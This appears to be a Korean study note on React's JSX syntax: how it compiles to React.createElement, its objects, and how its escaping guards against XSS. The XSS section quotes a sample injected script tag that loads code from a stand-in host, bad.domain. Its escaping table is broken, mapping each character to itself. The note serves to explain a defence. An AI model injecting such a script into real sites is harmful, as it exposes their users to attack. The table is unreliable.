JSX

JSX란 JavaScript를 확장한 문법이다. 이는 JavaScript의 모든 기능이 포함되어있다.

const element = <h1>Hello, world!</h1>;

근본적으로 JSX는 React.createElement(component, props, ...children) 함수에 대한 문법적 설탕을 제공할 뿐이다.

문법적 설탕

js 관련 문서를 찾아보면 생각보다 자주 마주치는 단어이다. 한국어로 직역했을 때는 문법 설탕이다.

JS 뿐만 아니라 프로그래밍 언어 전반적으로 적용되는 개념으로 읽는 사람 또는 작성하는 사람이 편하게 디자인 된 문법이라는 뜻이다.

JSX란

React는 JSX 사용이 필수가 아니지만, 대부분의 사람은 JavaScript 코드 안에서 UI 관련 작업을 할 때 시각적으로 더 도움이 된다 생각한다.

JSX도 표현식이다.

컴파일이 끝나면 JSX 표현식이 정규 JavaScript 함수 호출이 되고 JavaScript 객체로 인식된다.
=> JSX를 if 구문 및 for 문 안에 사용하고 변수에 할당하고, 인자로서 받아들이고 함수부터 반환할 수 있다.

JSX는 XSS 공격을 방지한다.

JSX에 사용자 입력을 삽입하는 것은 안전하다. 기본적으로 React DOM은 JSX에 삽입된 모든 값을 렌더링하기 전에 이스케이프 하기 때문에 애플리케이션에서 명시적으로 작성되지 않은 내용은 주입되지 않는다.
모든 항목은 렌더링 되기 전에 문자열로 반환되고, 이런 특성으로 XSS 공격을 방지할 수 있다.

XSS(Cross-site-scripting)

XSS는 다른 사람의 웹사이트에 script파일(주로 js)을 몰래 넣어 악의적으로 실행할 수 있을 때 발생한다.
예를들어 웹사이트의 user input창에 내 이름을 넣는 대신 My name is <script src="http://bad.domain/evilscript.js"></script> 이라고 넣을 수 있다. 이렇게 제출하고, 다음 페이지에서 내 세부 정보를 확인하고 입력한 내용을 다시 출력하며 입력된 HTML 태그가 렌더링 되고, 스크립트가 다운로드되어 브라우저에서 실행된다.

방지법

이를 방지하기 위해 유저의 input 값을 escape 시켜줘야 한다.
Escaping는 데이터의 주요 문자를 변환하여 위험한 컨텍스트에서 해석되지 않도록 하는 것이다.
Html의 경우 악의적인 HTML이 렌더링 되지 않도록 < 와 > 문자를 변환해야 한다. 이는
각각의 문자를 &lt와 &gt로 변환시켜주며 이렇게 되면 브라우저에서 HTML 태그로 인식되지 않는다.

이스케이스로 처리된 텍스트

& => &
' => '
" => "
< => <
> => >
/ => /

JSX는 객체를 표현한다.

Babel은 JSX를 React.createElement() 호출로 컴파일한다.
이는 버그가 없는 코드를 작성하는데 도움이 되도록 몇가지 검사를 수행하며 기본적으로 객체를 생성한다.

const element = React.createElement(
  'h1',
  {className: 'greeting'},
  'Hello, world!'
);

const element = {
  type: 'h1',
  props: {
    className: 'greeting',
    children: 'Hello, world!'
  }
};

이런 객체들은 React 엘리먼트라고 하며, 화면에서 보고싶은 것을 나타내는 표현으로 이 객체를 읽어 DOM을 구성하고, 최신 상태로 유지하는데 사용한다.

JSX 사용

React가 스코프 내에 존재해야 한다.

JSX는 React.createElement를 호출하는 코드로 컴파일 되었기 때문에 React 라이브러리가 JSX 코드와 같은 스코프 내에 존재해야한다.

import React from 'react';

이 반드시 존재해야한다.하지만 JavaScript 번들러를 사용하지 않고, <script> 태그를 통해 React를 불러왔다면 React는 전역 변수로 존재하기 때문에 별도로 불러올 필요가 없다.